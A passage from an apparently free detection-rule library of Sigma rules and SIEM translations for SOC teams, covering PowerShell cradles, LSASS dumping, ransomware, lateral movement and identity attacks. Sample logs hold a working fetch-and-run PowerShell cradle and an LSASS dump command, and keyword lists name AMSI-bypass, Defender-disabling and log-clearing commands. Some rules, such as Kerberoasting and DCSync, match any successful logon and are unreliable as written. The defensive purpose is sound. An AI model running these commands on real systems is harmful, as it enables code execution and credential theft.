What is Sigma and why use it?

Sigma is a generic, vendor-neutral signature format for SIEM systems. Write a detection once in Sigma, then convert to your platform (Splunk SPL, Sentinel KQL, Elastic, QRadar, Wazuh).

Are these detection rules really free?

Yes. All Sigma rules in the Detection Vault are free to copy, paste and use - commercial or non-commercial.

How often is the vault updated?

New detection rules are auto-generated within minutes of new CVE publications on the NVD, Israeli INCD advisories, and major breach disclosures.

Can I convert these rules to KQL, SPL or my SIEM?

Yes - message the SCW Intel Bot on Telegram with the rule title or CVE ID. The bot returns the rule in your chosen SIEM dialect.

Are rules mapped to MITRE ATT&CK?

Every rule includes the relevant MITRE ATT&CK technique IDs so you can align coverage gaps to your existing detection engineering roadmap.

Detection Vault — Free Sigma Rules & SIEM Detections for SOC Teams

Suspicious PowerShell Download Cradle

SIEM Preview

T1059.001 — Command and Scripting Interpreter: PowerShell

Detects PowerShell download cradles used in malware delivery — Invoke-WebRequest, Net.WebClient, and BitsTransfer patterns.

high Sigma

powershelldownload-cradlemalware-deliveryexecution

title: Suspicious PowerShell Download Cradle
id: scw-showcase-exec-001
status: stable
level: high
description: |
  Detects PowerShell download cradles used in malware delivery — Invoke-WebRequest, Net.WebClient, and BitsTransfer patterns.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.execution
  - attack.t1059.001
  - attack.t1105
logsource:
  category: process_creation
detection:
  selection:
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - 'Invoke-WebRequest'
      - 'Net.WebClient'
      - 'DownloadString'
      - 'DownloadFile'
      - 'Start-BitsTransfer'
  condition: selection
falsepositives:
  - Legitimate administrative activity

index=windows sourcetype=sysmon EventCode=1
  Image="*\\powershell.exe"
  (CommandLine="*Invoke-WebRequest*"
   OR CommandLine="*Net.WebClient*"
   OR CommandLine="*DownloadString*"
   OR CommandLine="*DownloadFile*"
   OR CommandLine="*Start-BitsTransfer*")
| table _time host user Image CommandLine

DeviceProcessEvents
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any (
    "Invoke-WebRequest", "Net.WebClient",
    "DownloadString", "DownloadFile",
    "Start-BitsTransfer")
| project Timestamp, DeviceName, AccountName,
    ProcessCommandLine

process.executable:*\\powershell.exe AND
process.command_line:(
  *Invoke-WebRequest* OR *Net.WebClient* OR
  *DownloadString* OR *DownloadFile* OR
  *Start-BitsTransfer*)

SELECT DATEFORMAT(starttime,'yyyy-MM-dd HH:mm') AS date,
  sourceip, "Image", "CommandLine"
FROM events
WHERE "Image" ILIKE '%\powershell.exe'
  AND ("CommandLine" ILIKE '%Invoke-WebRequest%'
   OR "CommandLine" ILIKE '%Net.WebClient%'
   OR "CommandLine" ILIKE '%DownloadString%'
   OR "CommandLine" ILIKE '%DownloadFile%'
   OR "CommandLine" ILIKE '%Start-BitsTransfer%')

<rule id="100200" level="12">
  <if_group>sysmon_event1</if_group>
  <field name="win.eventdata.image" type="pcre2">
    (?i)\\powershell\.exe$</field>
  <field name="win.eventdata.commandLine" type="pcre2">
    (?i)(Invoke-WebRequest|Net\.WebClient|DownloadString|DownloadFile|Start-BitsTransfer)</field>
  <description>Suspicious PowerShell Download Cradle</description>
  <mitre>
    <id>T1059.001</id>
    <id>T1105</id>
  </mitre>
  <group>sysmon,process_creation,</group>
</rule>

1 Sample log entry (would trigger this rule):

{
  "timestamp": "2026-04-17T14:32:08Z",
  "EventCode": 1,
  "host": "WKS-PC042",
  "User": "CORP\\j.smith",
  "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "ParentImage": "C:\\Windows\\System32\\cmd.exe",
  "CommandLine": "powershell.exe -w hidden -ep bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://198.51.100.23/stage2.ps1')\""
}

2 Detection fields matched:

Image endswith "\powershell.exe" ✅ HIT

CommandLine contains "Net.WebClient" ✅ HIT

CommandLine contains "DownloadString" ✅ HIT

🚨 ALERT FIRED — Suspicious PowerShell Download Cradle — Severity: HIGH

This is a simulated detection. In a real SIEM, this log entry would trigger an alert with the rule above.

LSASS Memory Access — Credential Dumping

SIEM Preview

T1003.001 — OS Credential Dumping: LSASS Memory

Detects suspicious access to LSASS process memory — primary technique for credential harvesting on Windows endpoints.

critical Sigma

lsasscredential-dumpingmimikatzprocdump

title: LSASS Memory Access — Credential Dumping
id: scw-showcase-cred-001
status: stable
level: critical
description: |
  Detects suspicious access to LSASS process memory — primary technique for credential harvesting on Windows endpoints.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.credential_access
  - attack.t1003.001
logsource:
  category: process_creation
detection:
  selection:
    CommandLine|contains:
      - 'lsass'
      - 'procdump'
      - 'minidump'
      - 'sekurlsa'
      - 'comsvcs'
  filter:
    Image|endswith:
      - '\wmiprvse.exe'
      - '\taskmgr.exe'
      - '\MsMpEng.exe'
  condition: selection and not filter
falsepositives:
  - Legitimate administrative activity

index=windows sourcetype=sysmon EventCode=10
  TargetImage="*\\lsass.exe"
  (GrantedAccess="0x1010" OR GrantedAccess="0x1038"
   OR GrantedAccess="0x1fffff")
  NOT (SourceImage="*\\wmiprvse.exe"
   OR SourceImage="*\\taskmgr.exe"
   OR SourceImage="*\\MsMpEng.exe")
| table _time host user SourceImage GrantedAccess

DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~
    ("wmiprvse.exe","taskmgr.exe","MsMpEng.exe")
| project Timestamp, DeviceName,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine

winlog.event_data.TargetImage:*\\lsass.exe AND
winlog.event_data.GrantedAccess:(
  "0x1010" OR "0x1038" OR "0x1fffff")
AND NOT process.executable:(
  *\\wmiprvse.exe OR *\\taskmgr.exe
  OR *\\MsMpEng.exe)

SELECT DATEFORMAT(starttime,'yyyy-MM-dd HH:mm') AS date,
  sourceip, "SourceImage", "TargetImage", "GrantedAccess"
FROM events
WHERE "TargetImage" ILIKE '%\lsass.exe'
  AND "GrantedAccess" IN ('0x1010','0x1038','0x1fffff')
  AND "SourceImage" NOT ILIKE '%\wmiprvse.exe'
  AND "SourceImage" NOT ILIKE '%\taskmgr.exe'
  AND "SourceImage" NOT ILIKE '%\MsMpEng.exe'

<rule id="100201" level="14">
  <if_group>sysmon_event10</if_group>
  <field name="win.eventdata.targetImage" type="pcre2">
    (?i)\\lsass\.exe$</field>
  <field name="win.eventdata.grantedAccess" type="pcre2">
    (0x1010|0x1038|0x1fffff)</field>
  <description>LSASS Memory Access — Credential Dumping</description>
  <mitre>
    <id>T1003.001</id>
  </mitre>
  <group>sysmon,credential_access,</group>
</rule>

1 Sample log entry (would trigger this rule):

{
  "timestamp": "2026-04-17T03:14:55Z",
  "EventCode": 10,
  "host": "DC-PRIMARY",
  "User": "NT AUTHORITY\\SYSTEM",
  "SourceImage": "C:\\Users\\admin\\Desktop\\procdump64.exe",
  "TargetImage": "C:\\Windows\\System32\\lsass.exe",
  "GrantedAccess": "0x1fffff",
  "CommandLine": "procdump64.exe -accepteula -ma lsass.exe C:\\Temp\\debug.dmp"
}

2 Detection fields matched:

CommandLine contains "lsass" ✅ HIT

CommandLine contains "procdump" ✅ HIT

Image not endswith "\wmiprvse.exe (filter passed)" ✅ HIT

🚨 ALERT FIRED — LSASS Memory Access — Credential Dumping — Severity: CRITICAL

This is a simulated detection. In a real SIEM, this log entry would trigger an alert with the rule above.

Credential Dumping – SAM Registry Hive Export

T1003.002 — OS Credential Dumping: Security Account Manager

Detects attempts to export the SAM, SYSTEM, or SECURITY registry hives — used to extract local account password hashes.

high Sigma

credential-dumpingregistrySAM

title: SAM Registry Hive Export
id: scw-vault-cred-001
status: stable
level: high
description: |
  Detects attempts to export the SAM, SYSTEM, or SECURITY registry hives — used to extract local account password hashes.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.credential_access
  - attack.t1003.002
logsource:
  category: process_creation
detection:
  selection:
    CommandLine|contains|all:
      - 'reg'
      - 'save'
    CommandLine|contains:
      - 'hklm\sam'
      - 'hklm\system'
      - 'hklm\security'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Near-zero false positive. No legitimate reason and export SAM/SECURITY hives in production.

AMSI Bypass Detected

T1562.001 — Impair Defenses: Disable or Modify Tools

Detects attempts to bypass the Antimalware Scan Interface (AMSI) — used to run malicious PowerShell and .NET without detection.

high Sigma

amsi-bypassevasionpowershell

title: AMSI Bypass Attempt
id: scw-vault-evasion-001
status: experimental
level: high
description: |
  Detects attempts to bypass the Antimalware Scan Interface (AMSI) — used to run malicious PowerShell and .NET without detection.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.defense_evasion
  - attack.t1562.001
logsource:
  category: process_creation
detection:
  selection:
    CommandLine|contains:
      - 'AmsiUtils'
      - 'amsiInitFailed'
      - 'AmsiScanBuffer'
      - 'SetProtection(0'
      - 'Bypass.AMSI'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: AMSI bypass is almost always an attack precursor. Check what ran after the bypass.

Lateral Movement – SMB Admin Share Access

T1021.002 — Remote Services: SMB/Windows Admin Shares

Detects access to admin shares (C$, ADMIN$) from non-standard hosts — common for file deployment and remote execution.

medium Sigma

admin-sharesmblateral-movement

title: Admin Share Access from Non-Server
id: scw-vault-lateral-001
status: stable
level: medium
description: |
  Detects access to admin shares (C$, ADMIN$) from non-standard hosts — common for file deployment and remote execution.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.lateral_movement
  - attack.t1021.002
logsource:
  category: authentication
detection:
  selection:
    EventType: 'share_access'
    CommandLine|contains:
      - '\C$'
      - '\ADMIN$'
  filter:
    src_ip|startswith:
      - '127.'
  condition: selection and not filter
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Baseline admin share access from IT management tools. Any access from workstations is suspicious.

New Service Created via sc.exe

T1543.003 — Create or Modify System Process: Windows Service

Detects service creation using sc.exe — a common persistence mechanism used by attackers and malware.

medium Sigma

persistenceservicesigma

title: New Service Created via sc.exe
id: scw-vault-persist-001
status: experimental
level: medium
description: |
  Detects service creation using sc.exe — a common persistence mechanism used by attackers and malware.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.persistence
  - attack.t1543.003
logsource:
  category: process_creation
detection:
  selection:
    Image|endswith: '\sc.exe'
    CommandLine|contains: 'create'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Filter out known deployment tools (SCCM, Intune) to reduce false positives.

Persistence – Scheduled Task via schtasks

T1053.005 — Scheduled Task/Job: Scheduled Task

Detects creation of scheduled tasks via command line — common persistence technique across all threat actors.

medium Sigma

persistencescheduled-tasksigma

title: Scheduled Task Creation via schtasks.exe
id: scw-vault-persist-002
status: stable
level: medium
description: |
  Detects creation of scheduled tasks via command line — common persistence technique across all threat actors.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.persistence
  - attack.t1053.005
logsource:
  category: process_creation
detection:
  selection:
    Image|endswith: '\schtasks.exe'
    CommandLine|contains|all:
      - '/create'
  filter:
    User|contains:
      - 'SYSTEM'
  condition: selection and not filter
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Filter SYSTEM-created tasks to reduce noise. Focus on tasks created by regular user accounts.

Persistence – Startup Folder Modification

T1547.001 — Boot or Logon Autostart Execution: Registry Run Keys

Detects files dropped in user or common Startup folders — simple but effective persistence.

medium Sigma

persistencestartupfile-drop

title: File Dropped in Startup Folder
id: scw-vault-persist-003
status: stable
level: medium
description: |
  Detects files dropped in user or common Startup folders — simple but effective persistence mechanism.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.persistence
  - attack.t1547.001
logsource:
  category: file_event
detection:
  selection:
    TargetFilename|contains:
      - '\Start Menu\Programs\Startup\'
      - '\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\'
  filter:
    Image|endswith:
      - '\explorer.exe'
  condition: selection and not filter
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Users rarely manually add files to Startup. Processes dropping files there are suspicious.

Privilege Escalation – Token Manipulation

T1134.001 — Access Token Manipulation: Token Impersonation

Detects access token impersonation techniques commonly used to escalate from user to SYSTEM.

high Sigma

privilege-escalationtokenpotato

title: Token Impersonation via Known Tools
id: scw-vault-privesc-001
status: experimental
level: high
description: |
  Detects access token impersonation techniques commonly used to escalate from user to SYSTEM.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.privilege_escalation
  - attack.t1134.001
logsource:
  category: process_creation
detection:
  selection:
    Image|endswith:
      - '\incognito.exe'
      - '\JuicyPotato.exe'
      - '\PrintSpoofer.exe'
      - '\GodPotato.exe'
      - '\RoguePotato.exe'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Near-zero false positive rate. Detection of these tools almost always indicates compromise.

Privilege Escalation – UAC Bypass

T1548.002 — Abuse Elevation Control Mechanism: Bypass UAC

Detects known UAC bypass techniques using fodhelper, eventvwr, or other auto-elevate binaries.

high Sigma

uac-bypassprivilege-escalationevasion

title: UAC Bypass via Auto-Elevate Binary
id: scw-vault-privesc-002
status: experimental
level: high
description: |
  Detects known UAC bypass techniques using fodhelper, eventvwr, or other auto-elevate binaries.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.privilege_escalation
  - attack.t1548.002
logsource:
  category: process_creation
detection:
  selection_fodhelper:
    ParentImage|endswith: '\fodhelper.exe'
  selection_eventvwr:
    ParentImage|endswith: '\eventvwr.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
  selection_computerdefaults:
    ParentImage|endswith: '\computerdefaults.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
  condition: selection_fodhelper or selection_eventvwr
      or selection_computerdefaults
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: These binaries should not spawn command interpreters. Any child process is suspicious.

Ransomware – Shadow Copy Deletion

T1490 — Inhibit System Recovery

Detects deletion of Volume Shadow Copies — almost always a ransomware precursor to prevent recovery.

critical Sigma

ransomwareshadow-copyrecovery-prevention

title: Shadow Copy Deletion
id: scw-vault-impact-001
status: stable
level: critical
description: |
  Detects deletion of Volume Shadow Copies — almost always a ransomware precursor to prevent recovery.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.impact
  - attack.t1490
logsource:
  category: process_creation
detection:
  selection_vssadmin:
    CommandLine|contains|all:
      - 'vssadmin'
      - 'delete'
      - 'shadows'
  selection_wmic:
    CommandLine|contains|all:
      - 'wmic'
      - 'shadowcopy'
      - 'delete'
  selection_bcdedit:
    CommandLine|contains|all:
      - 'bcdedit'
      - 'recoveryenabled'
      - 'no'
  condition: selection_vssadmin or selection_wmic
      or selection_bcdedit
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Immediate P1 escalation. Shadow copy deletion + file encryption = active ransomware. Isolate host NOW.

C2 – Cobalt Strike Default Pipe Names

T1570 — Lateral Tool Transfer

Detects named pipes commonly used by Cobalt Strike beacons for inter-process communication.

critical Sigma

cobalt-strikec2named-pipe

title: Cobalt Strike Named Pipe Detection
id: scw-vault-c2-001
status: stable
level: critical
description: |
  Detects named pipes commonly used by Cobalt Strike beacons for inter-process communication.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.command_and_control
  - attack.t1570
logsource:
  category: process_creation
detection:
  selection:
    CommandLine|contains:
      - '\MSSE-'
      - '\postex_'
      - '\postex_ssh_'
      - '\status_'
      - '\msagent_'
      - '\interprocess_'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Default Cobalt Strike pipe names. Sophisticated actors may rename them. Also check for malleable C2 profiles.

Discovery – AD Domain Enumeration via net.exe

T1087.002 — Account Discovery: Domain Account

Detects use of native Windows net commands to enumerate domain users, groups, and shares.

medium Sigma

net-commandsad-enumerationdiscovery

title: AD Enumeration via net.exe
id: scw-vault-discovery-001
status: stable
level: medium
description: |
  Detects use of native Windows net commands to enumerate domain users, groups, and shares.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.discovery
  - attack.t1087.002
logsource:
  category: process_creation
detection:
  selection:
    Image|endswith:
      - '\net.exe'
      - '\net1.exe'
    CommandLine|contains:
      - 'domain admins'
      - 'enterprise admins'
      - 'domain controllers'
      - 'group "Domain'
      - 'user /domain'
      - 'accounts /domain'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Multiple net commands in sequence is a stronger indicator. Check if the user is IT staff.

Execution – Certutil Download

T1105 — Ingress Tool Transfer

Detects certutil.exe used to download files — a well-known living-off-the-land binary abuse technique.

high Sigma

certutillolbindownloadexecution

title: Certutil Download or Decode
id: scw-vault-exec-001
status: stable
level: high
description: |
  Detects certutil.exe used to download files or decode payloads — a well-known living-off-the-land binary abuse technique.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.execution
  - attack.t1105
logsource:
  category: process_creation
detection:
  selection_download:
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - 'urlcache'
      - '-urlcache'
  selection_decode:
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - '-decode'
      - '-decodehex'
  condition: selection_download or selection_decode
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Certutil should not be used for downloads in production. High confidence when combined with network connection.

Brute Force – Failed Logons Spike

T1110.001 — Brute Force: Password Guessing

Detects more than 10 failed sign-in attempts from a single IP within 5 minutes. Classic brute force indicator.

high Sigma

brute-forceidentityauthentication

title: Brute Force – Failed Logons Spike
id: scw-t1110-001-ub4q
status: stable
level: high
description: |
  Detects more than 10 failed sign-in attempts from a single IP within 5 minutes. Classic brute force indicator.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.brute_force
  - attack.t1110.001
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'failure'
  condition: selection | count(src_ip) by src_ip > 10
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Tune the threshold based on your environment. Consider excluding known VPN IPs.

Password Spray – Distributed Failed Logons

T1110.003 — Brute Force: Password Spraying

Detects a single IP trying different usernames with few attempts each — classic password spray pattern that avoids per-user lockout.

high Sigma

password-sprayidentitybrute-force

title: Password Spray – Distributed Failed Logons
id: scw-t1110-003-ub4v
status: stable
level: high
description: |
  Detects a single IP trying different usernames with few attempts each — classic password spray pattern that avoids per-user lockout.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.password_spray
  - attack.t1110.003
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'failure'
  condition: selection | count(User) by src_ip > 5
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Key indicator: many users, few attempts per user from same IP. Correlate with successful logins after spray.

Brute Force – SSH Failed Auth Spike

T1110.001 — Brute Force: Password Guessing

Detects excessive SSH failed authentication attempts from a single source — common in automated SSH brute force attacks.

high Sigma

sshbrute-forcelinux

title: Brute Force – SSH Failed Auth Spike
id: scw-t1110-001-ub4v
status: stable
level: high
description: |
  Detects excessive SSH failed authentication attempts from a single source — common in automated SSH brute force attacks.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.ssh
  - attack.t1110.001
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'failure'
      dst_port: '22'
  condition: selection | count(src_ip) by src_ip > 15
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Threshold of 15 reduces false positives from misconfigured services. Adjust for your environment.

Azure AD Impossible Travel

T1078 — Valid Accounts

Detects sign-ins from geographically distant locations within a short time window — indicates potential credential theft.

high Sigma

impossible-travelidentitycloud

title: Azure AD Impossible Travel
id: scw-t1078-ub4v
status: stable
level: high
description: |
  Detects sign-ins from geographically distant locations within a short time window — indicates potential credential theft.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.impossible_travel
  - attack.t1078
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'success'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Requires geo-IP enrichment. Filter known VPN and corporate egress IPs. Best paired with UEBA.

Credential Dumping – LSASS Access

T1003.001 — OS Credential Dumping: LSASS Memory

Detects processes accessing LSASS memory — a primary indicator of credential dumping tools like Mimikatz.

critical Sigma

lsasscredential-dumpingmimikatz

title: Credential Dumping – LSASS Access
id: scw-t1003-001-ub4w
status: stable
level: critical
description: |
  Detects processes accessing LSASS memory — a primary indicator of credential dumping tools like Mimikatz.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.lsass
  - attack.t1003.001
logsource:
  category: process_creation
detection:
  selection:
      Image|endswith:
        - '\procdump.exe'
        - '\mimikatz.exe'
        - '\dumpert.exe'
      CommandLine|contains:
        - 'lsass'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: High-fidelity rule. Legitimate LSASS access by AV/EDR should be baselined and excluded.

Kerberoasting – Anomalous TGS Requests

T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting

Detects high-volume TGS ticket requests targeting service accounts — classic Kerberoasting pattern for offline password cracking.

high Sigma

kerberoastingkerberosactive-directory

title: Kerberoasting – Anomalous TGS Requests
id: scw-t1558-003-ub4w
status: stable
level: high
description: |
  Detects high-volume TGS ticket requests targeting service accounts — classic Kerberoasting pattern for offline password cracking.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.kerberoasting
  - attack.t1558.003
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'success'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Correlate with Event ID 4769 in Windows Security logs. Focus on encryption type 0x17 (RC4) which is commonly targeted.

DCSync – Replication Rights Abuse

T1003.006 — OS Credential Dumping: DCSync

Detects directory replication requests from non-domain-controller IPs — a strong indicator of DCSync attacks using Mimikatz.

critical Sigma

dcsyncactive-directorymimikatz

title: DCSync – Replication Rights Abuse
id: scw-t1003-006-ub4w
status: stable
level: critical
description: |
  Detects directory replication requests from non-domain-controller IPs — a strong indicator of DCSync attacks using Mimikatz.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.dcsync
  - attack.t1003.006
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'success'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Whitelist legitimate domain controllers. Any replication request from a workstation is highly suspicious.

MFA Fatigue – Repeated Push Notifications

T1621 — Multi-Factor Authentication Request Generation

Detects repeated MFA push notification attempts — used in MFA fatigue attacks where attackers spam push approvals until the victim accepts.

high Sigma

mfa-fatigueidentitysocial-engineering

title: MFA Fatigue – Repeated Push Notifications
id: scw-t1621-ub4w
status: stable
level: high
description: |
  Detects repeated MFA push notification attempts — used in MFA fatigue attacks where attackers spam push approvals until the victim accepts.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.mfa_fatigue
  - attack.t1621
logsource:
  category: authentication
detection:
  selection:
      EventType: 'Logon'
      action: 'failure'
  condition: selection | count(User) by User > 5
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Critical for organizations using push-based MFA. Consider implementing number matching to mitigate.

Suspicious PowerShell Execution

T1059.001 — Command and Scripting Interpreter: PowerShell

Detects obfuscated or suspicious PowerShell patterns including encoded commands, bypass flags, and hidden execution.

high Sigma

powershellobfuscationencoded-command

title: Suspicious PowerShell Execution
id: scw-t1059-001-ub4w
status: stable
level: high
description: |
  Detects obfuscated or suspicious PowerShell patterns including encoded commands, bypass flags, and hidden execution.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.powershell
  - attack.t1059.001
logsource:
  category: process_creation
detection:
  selection:
      Image|endswith: '\powershell.exe'
      CommandLine|contains:
        - '-EncodedCommand'
        - '-enc'
        - '-ExecutionPolicy Bypass'
        - '-nop'
        - 'hidden'
        - 'IEX'
        - 'Invoke-Expression'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Baseline legitimate admin scripts. Focus on -enc and hidden window combinations.

Defense Evasion – Disable Windows Defender

T1562.001 — Impair Defenses: Disable or Modify Tools

Detects attempts to disable Windows Defender real-time protection or tamper with security settings.

critical Sigma

defenderantivirustamper-protection

title: Defense Evasion – Disable Windows Defender
id: scw-t1562-001-ub4w
status: stable
level: critical
description: |
  Detects attempts to disable Windows Defender real-time protection or tamper with security settings.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.defender
  - attack.t1562.001
logsource:
  category: process_creation
detection:
  selection:
      CommandLine|contains:
        - 'Set-MpPreference -DisableRealtimeMonitoring'
        - 'DisableAntiSpyware'
        - 'sc stop WinDefend'
        - 'sc config WinDefend start= disabled'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Critical alert — disabling endpoint protection is a strong precursor to ransomware deployment.

Security Log Cleared

T1070.001 — Indicator Removal: Clear Windows Event Logs

Detects Windows Security event log being cleared — a common anti-forensics technique to cover attack traces.

high Sigma

log-clearinganti-forensicsevent-log

title: Security Log Cleared
id: scw-t1070-001-ub4x
status: stable
level: high
description: |
  Detects Windows Security event log being cleared — a common anti-forensics technique to cover attack traces.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.log_clearing
  - attack.t1070.001
logsource:
  category: process_creation
detection:
  selection:
      CommandLine|contains:
        - 'wevtutil cl Security'
        - 'Clear-EventLog -LogName Security'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Any log clearing outside scheduled maintenance is suspicious. Correlate with other suspicious activity.

Timestomping – File Time Attribute Modification

T1070.006 — Indicator Removal: Timestomp

Detects modification of file timestamps to blend malicious files with legitimate system files — a defense evasion technique.

medium Sigma

timestompinganti-forensicsdefense-evasion

title: Timestomping – File Time Attribute Modification
id: scw-t1070-006-ub4x
status: stable
level: medium
description: |
  Detects modification of file timestamps to blend malicious files with legitimate system files — a defense evasion technique.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.timestomping
  - attack.t1070.006
logsource:
  category: process_creation
detection:
  selection:
      CommandLine|contains:
        - 'timestomp'
        - 'Set-ItemProperty'
        - 'NtSetInformationFile'
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: Correlate with newly created files in system directories. Low false-positive rate.

Lateral Movement – PsExec Remote Execution

T1021.002 — Remote Services: SMB/Windows Admin Shares

Detects PsExec usage for remote command execution — commonly used in lateral movement and ransomware deployment.

high Sigma

psexecsmbremote-execution

title: Lateral Movement – PsExec Remote Execution
id: scw-t1021-002-ub4x
status: stable
level: high
description: |
  Detects PsExec usage for remote command execution — commonly used in lateral movement and ransomware deployment.
author: SCW Detection Vault
date: 2025-01-15
references:
  - https://shimiscyberworld.com/detections/
tags:
  - attack.psexec
  - attack.t1021.002
logsource:
  category: process_creation
detection:
  selection:
      Image|endswith:
        - '\psexec.exe'
        - '\psexesvc.exe'
      CommandLine|contains:
        - '\\' 
  condition: selection
falsepositives:
  - Legitimate administrative activity

✓ Sigma · Splunk · KQL · Elastic · QRadar · Wazuh Export via Bot →

Note: PsExec is a dual-use tool. Baseline legitimate admin use and alert on anomalous source hosts.

Lateral Movement – RDP from Unusual Source

